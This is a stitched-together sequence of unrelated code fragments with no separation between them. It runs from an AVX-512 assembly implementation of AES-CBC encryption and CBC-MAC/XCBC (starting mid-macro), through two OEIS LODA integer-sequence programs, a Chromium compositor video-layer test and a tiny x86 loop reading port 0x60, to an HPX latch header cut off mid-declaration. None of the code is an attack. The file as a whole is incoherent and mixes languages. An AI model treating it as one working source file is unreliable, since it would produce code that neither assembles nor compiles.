%%ZTMP0, %%ZTMP1, %%ZTMP2, %%ZTMP3 ;; load 4 plaintext blocks for lanes 4-7 LOAD_STORE_x4 4, 5, 6, 7, IN, %%IDX, %%B0L04_07, %%B1L04_07, \ %%B2L04_07, %%B3L04_07, %%TMP0, %%TMP1, LOAD TRANSPOSE_4x4 %%B0L04_07, %%B1L04_07, %%B2L04_07, %%B3L04_07, \ %%ZTMP0, %%ZTMP1, %%ZTMP2, %%ZTMP3 ;; load 4 plaintext blocks for lanes 8-11 PRELOADED_LOAD_STORE_x4 IN_L8, IN_L9, IN_L10, IN_L11, %%IDX, \ %%B0L08_11, %%B1L08_11, %%B2L08_11, \ %%B3L08_11, LOAD TRANSPOSE_4x4 %%B0L08_11, %%B1L08_11, %%B2L08_11, %%B3L08_11, \ %%ZTMP0, %%ZTMP1, %%ZTMP2, %%ZTMP3 ;; load 4 plaintext blocks for lanes 12-15 LOAD_STORE_x4 12, 13, 14, 15, IN, %%IDX, %%B0L12_15, %%B1L12_15, \ %%B2L12_15, %%B3L12_15, %%TMP0, %%TMP1, LOAD TRANSPOSE_4x4 %%B0L12_15, %%B1L12_15, %%B2L12_15, %%B3L12_15, \ %%ZTMP0, %%ZTMP1, %%ZTMP2, %%ZTMP3 ;; xor first plaintext block with IV and round zero key vpternlogq %%B0L00_03, %%ZIV00_03, R0_K0_3, 0x96 vpternlogq %%B0L04_07, %%ZIV04_07, R0_K4_7, 0x96 vpternlogq %%B0L08_11, %%ZIV08_11, R0_K8_11, 0x96 vpternlogq %%B0L12_15, %%ZIV12_15, [%%KP + %%K12_15_OFFSET], 0x96 ;; encrypt block 0 lanes AESENC_ROUNDS_x16 %%B0L00_03, %%B0L04_07, %%B0L08_11, %%B0L12_15, %%KP, %%NROUNDS ;; xor plaintext block with last cipher block and round zero key vpternlogq %%B1L00_03, %%B0L00_03, R0_K0_3, 0x96 vpternlogq %%B1L04_07, %%B0L04_07, R0_K4_7, 0x96 vpternlogq %%B1L08_11, %%B0L08_11, R0_K8_11, 0x96 vpternlogq %%B1L12_15, %%B0L12_15, [%%KP + %%K12_15_OFFSET], 0x96 ;; encrypt block 1 lanes AESENC_ROUNDS_x16 %%B1L00_03, %%B1L04_07, %%B1L08_11, %%B1L12_15, %%KP, %%NROUNDS ;; xor plaintext block with last cipher block and round zero key vpternlogq %%B2L00_03, %%B1L00_03, R0_K0_3, 0x96 vpternlogq %%B2L04_07, %%B1L04_07, R0_K4_7, 0x96 vpternlogq %%B2L08_11, %%B1L08_11, R0_K8_11, 0x96 vpternlogq %%B2L12_15, %%B1L12_15, [%%KP + %%K12_15_OFFSET], 0x96 ;; encrypt block 2 lanes AESENC_ROUNDS_x16 %%B2L00_03, %%B2L04_07, %%B2L08_11, %%B2L12_15, %%KP, %%NROUNDS ;; xor plaintext block with last cipher block and round zero key vpternlogq %%B3L00_03, %%B2L00_03, R0_K0_3, 0x96 vpternlogq %%B3L04_07, %%B2L04_07, R0_K4_7, 0x96 vpternlogq %%B3L08_11, %%B2L08_11, R0_K8_11, 0x96 vpternlogq %%B3L12_15, %%B2L12_15, [%%KP + %%K12_15_OFFSET], 0x96 ;; encrypt block 3 lanes AESENC_ROUNDS_x16 %%B3L00_03, %%B3L04_07, %%B3L08_11, %%B3L12_15, %%KP, %%NROUNDS ;; store last cipher block vmovdqa64 %%ZIV00_03, %%B3L00_03 vmovdqa64 %%ZIV04_07, %%B3L04_07 vmovdqa64 %%ZIV08_11, %%B3L08_11 vmovdqa64 %%ZIV12_15, %%B3L12_15 ;; Don't write back ciphertext for CBC-MAC %if %%MAC_TYPE == MAC_TYPE_NONE ;; write back cipher text for lanes 0-3 TRANSPOSE_4x4 %%B0L00_03, %%B1L00_03, %%B2L00_03, %%B3L00_03, \ %%ZTMP0, %%ZTMP1, %%ZTMP2, %%ZTMP3 LOAD_STORE_x4 0, 1, 2, 3, OUT, %%IDX, %%B0L00_03, %%B1L00_03, \ %%B2L00_03, %%B3L00_03, %%TMP0, %%TMP1, STORE ;; write back cipher text for lanes 4-7 TRANSPOSE_4x4 %%B0L04_07, %%B1L04_07, %%B2L04_07, %%B3L04_07, \ %%ZTMP0, %%ZTMP1, %%ZTMP2, %%ZTMP3 LOAD_STORE_x4 4, 5, 6, 7, OUT, %%IDX, %%B0L04_07, %%B1L04_07, \ %%B2L04_07, %%B3L04_07, %%TMP0, %%TMP1, STORE ;; write back cipher text for lanes 8-11 TRANSPOSE_4x4 %%B0L08_11, %%B1L08_11, %%B2L08_11, %%B3L08_11, \ %%ZTMP0, %%ZTMP1, %%ZTMP2, %%ZTMP3 LOAD_STORE_x4 8, 9, 10, 11, OUT, %%IDX, %%B0L08_11, %%B1L08_11, \ %%B2L08_11, %%B3L08_11, %%TMP0, %%TMP1, STORE ;; write back cipher text for lanes 12-15 TRANSPOSE_4x4 %%B0L12_15, %%B1L12_15, %%B2L12_15, %%B3L12_15, \ %%ZTMP0, %%ZTMP1, %%ZTMP2, %%ZTMP3 LOAD_STORE_x4 12, 13, 14, 15, OUT, %%IDX, %%B0L12_15, %%B1L12_15, \ %%B2L12_15, %%B3L12_15, %%TMP0, %%TMP1, STORE %endif ;; MAC_TYPE sub %%LENGTH, 64 add %%IDX, 64 jmp %%encrypt_16_start %%encrypt_16_end: ;; update in/out pointers vpbroadcastq %%ZTMP2, %%IDX vpaddq %%ZTMP0, %%ZTMP2, [IN] vpaddq %%ZTMP1, %%ZTMP2, [IN + 64] vmovdqa64 [IN], %%ZTMP0 vmovdqa64 [IN + 64], %%ZTMP1 add IN_L0, %%IDX add IN_L1, %%IDX add IN_L2, %%IDX add IN_L3, %%IDX add IN_L8, %%IDX add IN_L9, %%IDX add IN_L10, %%IDX add IN_L11, %%IDX %if %%MAC_TYPE == MAC_TYPE_NONE ;; skip out pointer update for CBC_MAC/XCBC vpaddq %%ZTMP0, %%ZTMP2, [OUT] vpaddq %%ZTMP1, %%ZTMP2, [OUT + 64] vmovdqa64 [OUT], %%ZTMP0 vmovdqa64 [OUT + 64], %%ZTMP1 %endif ;; MAC_TYPE %%encrypt_16_done: %endmacro ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ENCRYPT_16_FINAL Encodes final blocks (less than 4) across 16 lanes ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %macro ENCRYPT_16_FINAL 30 %define %%ZIV00_03 %1 ;; [in] lane 0-3 IVs %define %%ZIV04_07 %2 ;; [in] lane 4-7 IVs %define %%ZIV08_11 %3 ;; [in] lane 8-11 IVs %define %%ZIV12_15 %4 ;; [in] lane 12-15 IVs %define %%NROUNDS %5 ;; [in] Number of AES rounds; numerical value %define %%IDX %6 ;; [clobbered] GP reg to maintain idx %define %%B0L00_03 %7 ;; [clobbered] tmp ZMM register %define %%B0L04_07 %8 ;; [clobbered] tmp ZMM register %define %%B0L08_11 %9 ;; [clobbered] tmp ZMM register %define %%B0L12_15 %10 ;; [clobbered] tmp ZMM register %define %%B1L00_03 %11 ;; [clobbered] tmp ZMM register %define %%B1L04_07 %12 ;; [clobbered] tmp ZMM register %define %%B1L08_11 %13 ;; [clobbered] tmp ZMM register %define %%B1L12_15 %14 ;; [clobbered] tmp ZMM register %define %%B2L00_03 %15 ;; [clobbered] tmp ZMM register %define %%B2L04_07 %16 ;; [clobbered] tmp ZMM register %define %%B2L08_11 %17 ;; [clobbered] tmp ZMM register %define %%B2L12_15 %18 ;; [clobbered] tmp ZMM register %define %%B3L00_03 %19 ;; [clobbered] tmp ZMM register %define %%B3L04_07 %20 ;; [clobbered] tmp ZMM register %define %%B3L08_11 %21 ;; [clobbered] tmp ZMM register %define %%B3L12_15 %22 ;; [clobbered] tmp ZMM register %define %%ZTMP0 %23 ;; [clobbered] tmp ZMM register %define %%ZTMP1 %24 ;; [clobbered] tmp ZMM register %define %%ZTMP2 %25 ;; [clobbered] tmp ZMM register %define %%ZTMP3 %26 ;; [clobbered] tmp ZMM register %define %%TMP0 %27 ;; [clobbered] tmp GP register %define %%TMP1 %28 ;; [clobbered] tmp GP register %define %%NUM_BLKS %29 ;; [in] number of blocks (numerical value) %define %%MAC_TYPE %30 ;; MAC_TYPE_NONE/CBC/XCBC flag %if %%MAC_TYPE == MAC_TYPE_XCBC %define %%KP ARG + _aesxcbcarg_key_tab %else %define %%KP ARG + _aesarg_key_tab %endif %define %%K00_03_OFFSET 0 %define %%K04_07_OFFSET 64 %define %%K08_11_OFFSET 128 %define %%K12_15_OFFSET 192 %if %%NUM_BLKS == 1 mov %%TMP0, 0x0000_0000_0000_ffff kmovq k1, %%TMP0 %elif %%NUM_BLKS == 2 mov %%TMP0, 0x0000_0000_ffff_ffff kmovq k1, %%TMP0 %elif %%NUM_BLKS == 3 mov %%TMP0, 0x0000_ffff_ffff_ffff kmovq k1, %%TMP0 %endif xor %%IDX, %%IDX ;; load 4 plaintext blocks for lanes 0-3 PRELOADED_LOAD_STORE_x4 IN_L0, IN_L1, IN_L2, IN_L3, %%IDX, \ %%B0L00_03, %%B1L00_03, %%B2L00_03, \ %%B3L00_03, LOAD, k1 TRANSPOSE_4x4 %%B0L00_03, %%B1L00_03, %%B2L00_03, %%B3L00_03, \ %%ZTMP0, %%ZTMP1, %%ZTMP2, %%ZTMP3 ;; load 4 plaintext blocks for lanes 4-7 LOAD_STORE_x4 4, 5, 6, 7, IN, %%IDX, %%B0L04_07, %%B1L04_07, \ %%B2L04_07, %%B3L04_07, %%TMP0, %%TMP1, LOAD, k1 TRANSPOSE_4x4 %%B0L04_07, %%B1L04_07, %%B2L04_07, %%B3L04_07, \ %%ZTMP0, %%ZTMP1, %%ZTMP2, %%ZTMP3 ;; load 4 plaintext blocks for lanes 8-11 PRELOADED_LOAD_STORE_x4 IN_L8, IN_L9, IN_L10, IN_L11, %%IDX, \ %%B0L08_11, %%B1L08_11, %%B2L08_11, \ %%B3L08_11, LOAD, k1 TRANSPOSE_4x4 %%B0L08_11, %%B1L08_11, %%B2L08_11, %%B3L08_11, \ %%ZTMP0, %%ZTMP1, %%ZTMP2, %%ZTMP3 ;; load 4 plaintext blocks for lanes 12-15 LOAD_STORE_x4 12, 13, 14, 15, IN, %%IDX, %%B0L12_15, %%B1L12_15, \ %%B2L12_15, %%B3L12_15, %%TMP0, %%TMP1, LOAD, k1 TRANSPOSE_4x4 %%B0L12_15, %%B1L12_15, %%B2L12_15, %%B3L12_15, \ %%ZTMP0, %%ZTMP1, %%ZTMP2, %%ZTMP3 ;; xor plaintext block with IV and round zero key vpternlogq %%B0L00_03, %%ZIV00_03, R0_K0_3, 0x96 vpternlogq %%B0L04_07, %%ZIV04_07, R0_K4_7, 0x96 vpternlogq %%B0L08_11, %%ZIV08_11, R0_K8_11, 0x96 vpternlogq %%B0L12_15, %%ZIV12_15, [%%KP + %%K12_15_OFFSET], 0x96 ;; encrypt block 0 lanes AESENC_ROUNDS_x16 %%B0L00_03, %%B0L04_07, %%B0L08_11, %%B0L12_15, %%KP, %%NROUNDS %if %%NUM_BLKS == 1 ;; store last cipher block vmovdqa64 %%ZIV00_03, %%B0L00_03 vmovdqa64 %%ZIV04_07, %%B0L04_07 vmovdqa64 %%ZIV08_11, %%B0L08_11 vmovdqa64 %%ZIV12_15, %%B0L12_15 %endif %if %%NUM_BLKS >= 2 ;; xor plaintext block with last cipher block and round zero key vpternlogq %%B1L00_03, %%B0L00_03, R0_K0_3, 0x96 vpternlogq %%B1L04_07, %%B0L04_07, R0_K4_7, 0x96 vpternlogq %%B1L08_11, %%B0L08_11, R0_K8_11, 0x96 vpternlogq %%B1L12_15, %%B0L12_15, [%%KP + %%K12_15_OFFSET], 0x96 ;; encrypt block 1 lanes AESENC_ROUNDS_x16 %%B1L00_03, %%B1L04_07, %%B1L08_11, %%B1L12_15, %%KP, %%NROUNDS %endif %if %%NUM_BLKS == 2 ;; store last cipher block vmovdqa64 %%ZIV00_03, %%B1L00_03 vmovdqa64 %%ZIV04_07, %%B1L04_07 vmovdqa64 %%ZIV08_11, %%B1L08_11 vmovdqa64 %%ZIV12_15, %%B1L12_15 %endif %if %%NUM_BLKS >= 3 ;; xor plaintext block with last cipher block and round zero key vpternlogq %%B2L00_03, %%B1L00_03, R0_K0_3, 0x96 vpternlogq %%B2L04_07, %%B1L04_07, R0_K4_7, 0x96 vpternlogq %%B2L08_11, %%B1L08_11, R0_K8_11, 0x96 vpternlogq %%B2L12_15, %%B1L12_15, [%%KP + %%K12_15_OFFSET], 0x96 ;; encrypt block 2 lanes AESENC_ROUNDS_x16 %%B2L00_03, %%B2L04_07, %%B2L08_11, %%B2L12_15, %%KP, %%NROUNDS %endif %if %%NUM_BLKS == 3 ;; store last cipher block vmovdqa64 %%ZIV00_03, %%B2L00_03 vmovdqa64 %%ZIV04_07, %%B2L04_07 vmovdqa64 %%ZIV08_11, %%B2L08_11 vmovdqa64 %%ZIV12_15, %%B2L12_15 %endif ;; Don't write back ciphertext for CBC-MAC %if %%MAC_TYPE == MAC_TYPE_NONE ;; write back cipher text for lanes 0-3 TRANSPOSE_4x4 %%B0L00_03, %%B1L00_03, %%B2L00_03, %%B3L00_03, \ %%ZTMP0, %%ZTMP1, %%ZTMP2, %%ZTMP3 LOAD_STORE_x4 0, 1, 2, 3, OUT, %%IDX, %%B0L00_03, %%B1L00_03, \ %%B2L00_03, %%B3L00_03, %%TMP0, %%TMP1, STORE, k1 ;; write back cipher text for lanes 4-7 TRANSPOSE_4x4 %%B0L04_07, %%B1L04_07, %%B2L04_07, %%B3L04_07, \ %%ZTMP0, %%ZTMP1, %%ZTMP2, %%ZTMP3 LOAD_STORE_x4 4, 5, 6, 7, OUT, %%IDX, %%B0L04_07, %%B1L04_07, \ %%B2L04_07, %%B3L04_07, %%TMP0, %%TMP1, STORE, k1 ;; write back cipher text for lanes 8-11 TRANSPOSE_4x4 %%B0L08_11, %%B1L08_11, %%B2L08_11, %%B3L08_11, \ %%ZTMP0, %%ZTMP1, %%ZTMP2, %%ZTMP3 LOAD_STORE_x4 8, 9, 10, 11, OUT, %%IDX, %%B0L08_11, %%B1L08_11, \ %%B2L08_11, %%B3L08_11, %%TMP0, %%TMP1, STORE, k1 ;; write back cipher text for lanes 12-15 TRANSPOSE_4x4 %%B0L12_15, %%B1L12_15, %%B2L12_15, %%B3L12_15, \ %%ZTMP0, %%ZTMP1, %%ZTMP2, %%ZTMP3 LOAD_STORE_x4 12, 13, 14, 15, OUT, %%IDX, %%B0L12_15, %%B1L12_15, \ %%B2L12_15, %%B3L12_15, %%TMP0, %%TMP1, STORE, k1 %endif ;; !CBC_MAC ;; update in/out pointers mov %%IDX, %%NUM_BLKS shl %%IDX, 4 vpbroadcastq %%ZTMP2, %%IDX vpaddq %%ZTMP0, %%ZTMP2, [IN] vpaddq %%ZTMP1, %%ZTMP2, [IN + 64] vmovdqa64 [IN], %%ZTMP0 vmovdqa64 [IN + 64], %%ZTMP1 %if %%MAC_TYPE == MAC_TYPE_NONE ;; skip out pointer update for CBC_MAC/XCBC vpaddq %%ZTMP0, %%ZTMP2, [OUT] vpaddq %%ZTMP1, %%ZTMP2, [OUT + 64] vmovdqa64 [OUT], %%ZTMP0 vmovdqa64 [OUT + 64], %%ZTMP1 %endif ;; MAC_TYPE %endmacro ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; CBC_ENC Encodes given data. ; Requires the input data be at least 1 block (16 bytes) long ; Input: Number of AES rounds ; ; First encrypts block up to multiple of 4 ; Then encrypts final blocks (less than 4) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %macro CBC_ENC 2 %define %%ROUNDS %1 %define %%MAC_TYPE %2 %define %%K00_03_OFFSET 0 %define %%K04_07_OFFSET 64 %define %%K08_11_OFFSET 128 %if %%MAC_TYPE == MAC_TYPE_XCBC %define %%KP ARG + _aes_xcbc_args_key_tab %define %%IV ARG + _aes_xcbc_args_ICV %define %%IN ARG + _aes_xcbc_args_in %else %define %%KP ARG + _aesarg_key_tab %define %%IV ARG + _aesarg_IV %define %%IN ARG + _aesarg_in %define %%OUT ARG + _aesarg_out %endif ;; load transpose tables vmovdqa64 TAB_A0B0A1B1, [rel A0B0A1B1] vmovdqa64 TAB_A2B2A3B3, [rel A2B2A3B3] ;; load IV's per lane vmovdqa64 ZIV00_03, [%%IV + 16*0] vmovdqa64 ZIV04_07, [%%IV + 16*4] vmovdqa64 ZIV08_11, [%%IV + 16*8] vmovdqa64 ZIV12_15, [%%IV + 16*12] ;; preload some input pointers mov IN_L0, [%%IN + 8*0] mov IN_L1, [%%IN + 8*1] mov IN_L2, [%%IN + 8*2] mov IN_L3, [%%IN + 8*3] mov IN_L8, [%%IN + 8*8] mov IN_L9, [%%IN + 8*9] mov IN_L10, [%%IN + 8*10] mov IN_L11, [%%IN + 8*11] lea IN, [%%IN] %if %%MAC_TYPE == MAC_TYPE_NONE lea OUT, [%%OUT] %endif ;; preload some round keys vmovdqu64 R0_K0_3, [%%KP + %%K00_03_OFFSET] vmovdqu64 R0_K4_7, [%%KP + %%K04_07_OFFSET] vmovdqu64 R0_K8_11,[%%KP + %%K08_11_OFFSET] vmovdqu64 R2_K0_3, [%%KP + %%K00_03_OFFSET + 2 * (16*16)] vmovdqu64 R2_K4_7, [%%KP + %%K04_07_OFFSET + 2 * (16*16)] vmovdqu64 R2_K8_11,[%%KP + %%K08_11_OFFSET + 2 * (16*16)] ENCRYPT_16_PARALLEL ZIV00_03, ZIV04_07, ZIV08_11, ZIV12_15, \ LEN, %%ROUNDS, IA0, ZT0, ZT1, ZT2, ZT3, ZT4, ZT5, \ ZT6, ZT7, ZT8, ZT9, ZT10, ZT11, ZT12, ZT13, ZT14, \ ZT15, ZT16, ZT17, ZT18, ZT19, IA1, IA2, %%MAC_TYPE ;; get num remaining blocks shr LEN, 4 and LEN, 3 je %%_cbc_enc_done cmp LEN, 1 je %%_final_blocks_1 cmp LEN, 2 je %%_final_blocks_2 %%_final_blocks_3: ENCRYPT_16_FINAL ZIV00_03, ZIV04_07, ZIV08_11, ZIV12_15, \ %%ROUNDS, IA0, ZT0, ZT1, ZT2, ZT3, ZT4, ZT5, ZT6, ZT7, \ ZT8, ZT9, ZT10, ZT11, ZT12, ZT13, ZT14, ZT15, ZT16, ZT17, \ ZT18, ZT19, IA1, IA2, 3, %%MAC_TYPE jmp %%_cbc_enc_done %%_final_blocks_1: ENCRYPT_16_FINAL ZIV00_03, ZIV04_07, ZIV08_11, ZIV12_15, \ %%ROUNDS, IA0, ZT0, ZT1, ZT2, ZT3, ZT4, ZT5, ZT6, ZT7, \ ZT8, ZT9, ZT10, ZT11, ZT12, ZT13, ZT14, ZT15, ZT16, ZT17, \ ZT18, ZT19, IA1, IA2, 1, %%MAC_TYPE jmp %%_cbc_enc_done %%_final_blocks_2: ENCRYPT_16_FINAL ZIV00_03, ZIV04_07, ZIV08_11, ZIV12_15, \ %%ROUNDS, IA0, ZT0, ZT1, ZT2, ZT3, ZT4, ZT5, ZT6, ZT7, \ ZT8, ZT9, ZT10, ZT11, ZT12, ZT13, ZT14, ZT15, ZT16, ZT17, \ ZT18, ZT19, IA1, IA2, 2, %%MAC_TYPE %%_cbc_enc_done: ;; store IV's per lane vmovdqa64 [%%IV + 16*0], ZIV00_03 vmovdqa64 [%%IV + 16*4], ZIV04_07 vmovdqa64 [%%IV + 16*8], ZIV08_11 vmovdqa64 [%%IV + 16*12], ZIV12_15 %endmacro mksection .rodata ;;;;;;;;;;;;;;;;;; ; Transpose tables ;;;;;;;;;;;;;;;;;; default rel align 64 A0B0A1B1: dq 0x0, 0x1, 0x8, 0x9, 0x2, 0x3, 0xa, 0xb align 64 A2B2A3B3: dq 0x4, 0x5, 0xc, 0xd, 0x6, 0x7, 0xe, 0xf mksection .text ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; void aes_cbc_enc_128_vaes_avx512(AES_ARGS *args, uint64_t len_in_bytes); ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; MKGLOBAL(aes_cbc_enc_128_vaes_avx512,function,internal) aes_cbc_enc_128_vaes_avx512: endbranch64 FUNC_SAVE CBC_ENC 9, MAC_TYPE_NONE FUNC_RESTORE %ifdef SAFE_DATA clear_all_zmms_asm %endif ;; SAFE_DATA ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; void aes_cbc_enc_192_vaes_avx512(AES_ARGS *args, uint64_t len_in_bytes); ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; MKGLOBAL(aes_cbc_enc_192_vaes_avx512,function,internal) aes_cbc_enc_192_vaes_avx512: endbranch64 FUNC_SAVE CBC_ENC 11, MAC_TYPE_NONE FUNC_RESTORE %ifdef SAFE_DATA clear_all_zmms_asm %endif ;; SAFE_DATA ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; void aes_cbc_enc_256_vaes_avx512(AES_ARGS *args, uint64_t len_in_bytes); ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; MKGLOBAL(aes_cbc_enc_256_vaes_avx512,function,internal) aes_cbc_enc_256_vaes_avx512: endbranch64 FUNC_SAVE CBC_ENC 13, MAC_TYPE_NONE FUNC_RESTORE ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; void aes128_cbc_mac_vaes_avx512(AES_ARGS *args, uint64_t len_in_bytes); ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; MKGLOBAL(aes128_cbc_mac_vaes_avx512,function,internal) aes128_cbc_mac_vaes_avx512: endbranch64 FUNC_SAVE CBC_ENC 9, MAC_TYPE_CBC FUNC_RESTORE %ifdef SAFE_DATA clear_all_zmms_asm %endif ;; SAFE_DATA ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; void aes256_cbc_mac_vaes_avx512(AES_ARGS *args, uint64_t len_in_bytes); ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; MKGLOBAL(aes256_cbc_mac_vaes_avx512,function,internal) aes256_cbc_mac_vaes_avx512: endbranch64 FUNC_SAVE CBC_ENC 13, MAC_TYPE_CBC FUNC_RESTORE %ifdef SAFE_DATA clear_all_zmms_asm %endif ;; SAFE_DATA ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; void aes_xcbc_mac_128_vaes_avx512(AES_XCBC_ARGS_x16 *args, uint64_t len_in_bytes); ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; MKGLOBAL(aes_xcbc_mac_128_vaes_avx512,function,internal) aes_xcbc_mac_128_vaes_avx512: endbranch64 FUNC_SAVE CBC_ENC 9, MAC_TYPE_XCBC FUNC_RESTORE %ifdef SAFE_DATA clear_all_zmms_asm %endif ;; SAFE_DATA ret mksection stack-noexec
; A032818: Numbers whose set of base-6 digits is {1,4}. ; Submitted by Christian Krause ; 1,4,7,10,25,28,43,46,61,64,151,154,169,172,259,262,277,280,367,370,385,388,907,910,925,928,1015,1018,1033,1036,1555,1558,1573,1576,1663,1666,1681,1684,2203,2206,2221,2224,2311,2314,2329,2332,5443,5446,5461,5464,5551,5554,5569,5572,6091,6094,6109,6112,6199,6202,6217,6220,9331,9334,9349,9352,9439,9442,9457,9460,9979,9982,9997,10000,10087,10090,10105,10108,13219,13222,13237,13240,13327,13330,13345,13348,13867,13870,13885,13888,13975,13978,13993,13996,32659,32662,32677,32680,32767,32770 mov $5,$0 add $5,1 mov $7,$0 lpb $5 mov $0,$7 sub $5,1 sub $0,$5 mov $2,2 mov $8,0 lpb $0 mov $3,$0 add $8,11 mul $8,6 lpb $3 mov $4,$0 mov $0,2 mod $4,$2 cmp $4,0 cmp $4,0 sub $3,$4 lpe sub $0,1 div $0,$2 lpe mov $0,$8 div $0,33 add $0,1 add $6,$0 lpe mov $0,$6
// Copyright 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "cc/trees/layer_tree_host.h" #include "base/basictypes.h" #include "cc/layers/render_surface_impl.h" #include "cc/layers/video_layer.h" #include "cc/layers/video_layer_impl.h" #include "cc/test/fake_video_frame_provider.h" #include "cc/test/layer_tree_test.h" #include "cc/trees/damage_tracker.h" #include "cc/trees/layer_tree_impl.h" namespace cc { namespace { // These tests deal with compositing video. class LayerTreeHostVideoTest : public LayerTreeTest {}; class LayerTreeHostVideoTestSetNeedsDisplay : public LayerTreeHostVideoTest { public: void SetupTree() override { scoped_refptr<Layer> root = Layer::Create(); root->SetBounds(gfx::Size(10, 10)); root->SetIsDrawable(true); scoped_refptr<VideoLayer> video = VideoLayer::Create(&video_frame_provider_, media::VIDEO_ROTATION_90); video->SetPosition(gfx::PointF(3.f, 3.f)); video->SetBounds(gfx::Size(4, 5)); video->SetIsDrawable(true); root->AddChild(video); layer_tree_host()->SetRootLayer(root); layer_tree_host()->SetDeviceScaleFactor(2.f); LayerTreeHostVideoTest::SetupTree(); } void BeginTest() override { num_draws_ = 0; PostSetNeedsCommitToMainThread(); } DrawResult PrepareToDrawOnThread(LayerTreeHostImpl* host_impl, LayerTreeHostImpl::FrameData* frame, DrawResult draw_result) override { LayerImpl* root_layer = host_impl->active_tree()->root_layer(); RenderSurfaceImpl* root_surface = root_layer->render_surface(); gfx::RectF damage_rect = root_surface->damage_tracker()->current_damage_rect(); switch (num_draws_) { case 0: // First frame the whole viewport is damaged. EXPECT_EQ(gfx::RectF(0.f, 0.f, 20.f, 20.f).ToString(), damage_rect.ToString()); break; case 1: // Second frame the video layer is damaged. EXPECT_EQ(gfx::RectF(6.f, 6.f, 8.f, 10.f).ToString(), damage_rect.ToString()); EndTest(); break; } EXPECT_EQ(DRAW_SUCCESS, draw_result); return draw_result; } void DrawLayersOnThread(LayerTreeHostImpl* host_impl) override { VideoLayerImpl* video = static_cast<VideoLayerImpl*>( host_impl->active_tree()->root_layer()->children()[0]); EXPECT_EQ(media::VIDEO_ROTATION_90, video->video_rotation()); if (num_draws_ == 0) video->SetNeedsRedraw(); ++num_draws_; } void AfterTest() override { EXPECT_EQ(2, num_draws_); } private: int num_draws_; FakeVideoFrameProvider video_frame_provider_; }; SINGLE_AND_MULTI_THREAD_TEST_F(LayerTreeHostVideoTestSetNeedsDisplay); } // namespace } // namespace cc
xor dx, dx test: in ax, 0x60 mov bx, 42 mov cx, 1 add dx, cx cmp dx, 255 jne test hlt
; A048645: Integers with one or two 1-bits in their binary expansion. ; 1,2,3,4,5,6,8,9,10,12,16,17,18,20,24,32,33,34,36,40,48,64,65,66,68,72,80,96,128,129,130,132,136,144,160,192,256,257,258,260,264,272,288,320,384,512,513,514,516,520,528,544,576,640,768,1024,1025,1026,1028,1032,1040,1056,1088,1152,1280,1536,2048,2049,2050,2052,2056,2064,2080,2112,2176,2304,2560,3072,4096,4097,4098,4100,4104,4112,4128,4160,4224,4352,4608,5120,6144,8192,8193,8194,8196,8200,8208,8224,8256,8320 lpb $0 sub $0,1 mov $2,$0 max $2,0 seq $2,232089 ; Table read by rows, which consist of 1 followed by 2^k, 0 <= k < n ; n = 0,1,2,3,... add $1,$2 lpe add $1,1 mov $0,$1
// Copyright (c) 2007-2020 Hartmut Kaiser // // SPDX-License-Identifier: BSL-1.0 // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) #pragma once #include <hpx/config.hpp> #include <hpx/actions/transfer_action.hpp> #include <hpx/actions_base/component_action.hpp> #include <hpx/async_distributed/base_lco_with_value.hpp> #include <hpx/async_distributed/transfer_continuation_action.hpp> #include <hpx/components_base/component_type.hpp> #include <hpx/components_base/server/managed_component_base.hpp> #include <hpx/modules/errors.hpp> #include <hpx/runtime_distributed/server/runtime_support.hpp> #include <hpx/runtime_local/custom_exception_info.hpp> #include <hpx/synchronization/latch.hpp> #include <hpx/threading_base/thread_helpers.hpp> #include <cstddef> #include <exception> /////////////////////////////////////////////////////////////////////////////// namespace hpx { namespace lcos { namespace server { /// A latch can be used to synchronize a specific number of threads, /// blocking all of the entering threads until all of the threads have /// entered the latch. class latch : public lcos::base_lco_with_value<bool, std::ptrdiff_t> , public components::managed_component_base<latch> { private: typedef components::managed_component_base<latch> base_type; public: typedef 